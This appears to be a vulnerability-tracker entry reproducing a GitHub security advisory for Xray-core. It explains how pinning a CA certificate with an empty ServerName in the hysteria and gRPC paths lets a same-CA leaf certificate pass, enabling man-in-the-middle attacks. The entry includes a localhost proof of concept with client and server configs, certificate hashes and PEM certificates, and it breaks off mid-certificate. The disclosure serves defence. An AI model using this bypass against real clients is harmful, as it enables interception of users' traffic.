Xray-core: Pinning a CA certificate via pinnedPeerCertSha256 can lead to the success of MITM attacks

Why it is Yellow

• CVSS 7.6 high
• On your watchlist: Go

Affected packages

References

• https://github.com/advisories/GHSA-5wf9-h793-w73c
• https://github.com/XTLS/Xray-core/security/advisories/GHSA-5wf9-h793-w73c
• https://github.com/XTLS/Xray-core/pull/6472
• https://github.com/XTLS/Xray-core/commit/64fada32b5b9e6ae064a038fa0e4e2b766499bd5
• https://github.com/XTLS/Xray-core/releases/tag/v26.7.11
• https://github.com/advisories/GHSA-5wf9-h793-w73c

Original description

### Summary Pinning a CA certificate via `pinnedPeerCertSha256` can lead to the success of MITM attacks in some cases. ### Details https://github.com/XTLS/Xray-core/blob/45cf2898ab12e97a55dd8f1f3d78d903340bdc9e/transport/internet/tls/config.go#L333-L347 If `r.Config.ServerName` is empty, `DNSName` will be empty and `certs[0].Verify(opts)` will not verify against dNSName or iPAddress. If a user pins a well-known and non-self-signed CA, an attacker can issue a leaf certificate through the Root CA (using the attacker's own domain name or IP address) and hijack the connections. In Go crypto/tls, either ServerName or InsecureSkipVerify must be specified in the `tls.Config`. If the user specifies `pinnedPeerCertSha256`, InsecureSkipVerify will always be true so ServerName can be empty. In most cases, if the user does not specify the `serverName`, Xray-core will use the server address as the `r.Config.ServerName`. Thanks to `GetTLSConfig(tls.WithDestination(dest))`, ServerName will usually not be empty. However, there are some leftovers: - https://github.com/XTLS/Xray-core/blob/45cf2898ab12e97a55dd8f1f3d78d903340bdc9e/transport/internet/hysteria/dialer.go#L348 `GetTLSConfig()` without `tls.WithDestination(dest)`. - https://github.com/XTLS/Xray-core/blob/45cf2898ab12e97a55dd8f1f3d78d903340bdc9e/transport/internet/grpc/dial.go#L139-L142 `GetTLSConfig()` without `tls.WithDestination(dest)`. Although ServerName will not be empty if `address` is a domain name, ServerName will be left empty if `address` is an IP address. ServerName is not equivalent to SNI. > ServerName is used to verify the hostname on the returned certificates unless InsecureSkipVerify is given. It is also included in the client's handshake to support virtual hosting unless it is an IP address. In these cases, if the user does not specify the `serverName`, Xray will not use the server address as the `r.Config.ServerName` and `r.Config.ServerName` will be left empty. ### PoC <details> client.json ```json { "log": { "loglevel": "debug" }, "inbounds": [ { "listen": "127.0.0.1", "port": 1080, "protocol": "socks" } ], "outbounds": [ { "protocol": "hysteria", "settings": { "address": "127.0.0.1", "port": 443, "version": 2 }, "streamSettings": { "security": "tls", "network": "hysteria", "tlsSettings": { "pinnedPeerCertSha256": "e4aa7ea894c9514ca42831cb0c7548a8eabd5e6f588702b9989790c4985d1b2f" }, "hysteriaSettings": { "version": 2, "auth": "auth" } } } ] } ``` server.json ```json { "log": { "loglevel": "debug" }, "inbounds": [ { "listen": "127.0.0.1", "port": 443, "protocol": "hysteria", "settings": { "version": 2 }, "streamSettings": { "security": "tls", "network": "hysteria", "tlsSettings": { "certificates": [ { "certificateFile": "server2.crt", "keyFile": "server2.key" } ] }, "hysteriaSettings": { "version": 2, "auth": "auth" } } } ], "outbounds": [ { "protocol": "freedom" } ] } ``` Both `server1.crt` and `server2.crt` are issued by the same CA. `server1.crt` is subjected to 127.0.0.1. `server2.crt` is subjected to 127.0.0.2. ``` xray tls hash --cert server1.crt Leaf SHA256: 7f0f1a28f96b7d74e60bbbc263a108ac1243345110f77c45e5bc2fe02851551d CA <Root> SHA256: e4aa7ea894c9514ca42831cb0c7548a8eabd5e6f588702b9989790c4985d1b2f xray tls hash --cert server2.crt Leaf SHA256: 32a842063280252bc746a913dce8e38b526021bfc7a2d784632d413dbee0c69c CA <Root> SHA256: e4aa7ea894c9514ca42831cb0c7548a8eabd5e6f588702b9989790c4985d1b2f ``` server1.crt ``` -----BEGIN CERTIFICATE----- MIIDMjCCAhqgAwIBAgIUEt5YzaTYeiyClv/htnnbK8FJ70wwDQYJKoZIhvcNAQEL BQAwDzENMAsGA1UEAwwEUm9vdDAeFw0yNjA3MDMxMDE0MzZaFw0zNjA2MzAxMDE0 MzZaMBQxEjAQBgNVBAMMCTEyNy4wLjAuMTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBAIbLr7M4oU6JPvjnSfkks6oyBl6+j2Ykl32uJX953n/rd1+AO+60 6zzx32eLh0EFGO7SvAsXEsklcGmrwduxCgv7RPjJyMK4pcZ8d3OF5ZxhBJH5i83K cZkTBNu/oKgAJ75BmjVh5LP3rnMASWTLntpK3sfRcXAaZpvvyCSeKQTsoxmRNSzB S3JPvtbbpQ7Q2RgH/ZOcRTNp7jjxCdXut1oTWM3R/MX2YSYf7+lIL0T7g04dp0oI y344uIZISNYFq6LSK2ZLbVqhqC45Zg+TQmqnC3fvhAUPIOxUeJKtf+E2F1qjuXWb y/dk5885n95ooZ2PqXi6mkfluNzt5CcoqU0CAwEAAaOBgDB+MAkGA1UdEwQCMAAw CwYDVR0PBAQDAgQwMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEQQIMAaHBH8A AAEwHQYDVR0OBBYEFLKSHMaY2Q/VrQYf+dnPctzkYeX9MB8GA1UdIwQYMBaAFAaO Ih36y0UgXPa9z7/hUwvaasqmMA0GCSqGSIb3DQEBCwUAA4IBAQCvWejnbhNuGrFR L3FSeFcLXSyNEMl43E0ClUmQ6bZz1wC3C5nPwYijpUatf2s4pCTt6yBPLR4+AgdD e6IR8qJqU1HC6uKtr4beVLx1900K+7AM9nMIW9reOHVvSmiUb7zbw/xfBBbU/ssw M30/bM2KaI6d7av7Co1M4PoQfSop9PIN8TNAJSywCstmUara72/qt0I0QDJ433Cy U5tjtOLDBPszzeS4f7wbTb5V3KULebc6KkjUidrW8E3qFeXaQ/o34huNmYT9HXCS /v/eWrmUSsroYk+tyBARW2dXZ1CQgdOXd9cxKNaRTUm3glprCWQdNN8Gtu5yyWRQ 29bSzHij -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDATCCAemgAwIBAgIURtJTQ4YzS/SJSsVG2pyuRg4tBg8wDQYJKoZIhvcNAQEL BQAwDzENMAsGA1UEAwwEUm9vdDAgFw0yNjA3MDMxMDExNTlaGA8yMTI2MDYwOTEw MTE1OVowDzENMAsGA1UEAwwEUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANLlP546TAp9/dns0xk482z0ZCVdBbh7BaMx4sY/4Mdu0RatYdp+6yL7 dTzJJX3rb+NdsVbpozj/660DS1SN0osNa7Nm1cp2CXf39PdKJ5WrbY1UCuE5cD6n W7qFTLZR/52RnN0UoththnNyjurEf3m8GTtFOrfmH6qT6psZmgRefLh/OZT6PXUT ZKPBHFhOr1YkuwO2D15pnRZ/2OBBkExsjyv5Y/m8IJfd+qK8rPrzJavRNEjfClfN 3ScZEE1eOdrutuxRNpawEIB3gLfp/zWbZe/jMRyqrOAy1Bqy1JpwaeAJn96DShru 6S8xim6PkvqY4mqOdTTCz/sgy/XLRicCAwEAAaNTMFEwHQYDVR0OBBYEFAaOIh36 y0UgXPa9z7/hUwvaasqmMB8GA1UdIwQYMBaAFAaOIh36y0UgXPa9z7/hUwvaasqm MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBALqZN9Rk7LIPqjzb h3Z4iTVYdZXnUckPKVF0pH2Xx4R5Bcgb3XbptpRViisit3Ltwn8CfR7SYq4mYbnN /l3ty9neR1KPDtE8CgM1lLqw1t5iN+OW60S1cYlrJFGxGUdr5W9Z/toH9lDWCxsg T9+ooe+9hx4F8bw3Nnslt+FiDzbjMNOGxPzw7RZFV8n8JzxpIOaXO5quDSuoDdir kXV4FO0kl19EesaUyavy0Rc3sef8vyAvbT1CmjRd3LLpGWlaTrii0xVfq2YY7Jf7 6Tb9fpJLOoAv4nWC82zZ0U94c7ffM4P+P7/qMO1R1PM0qHdsEo/O+FXwUdnkOwNs 6+IZCAM= -----END CERTIFICATE----- ``` server2.crt ``` -----BEGIN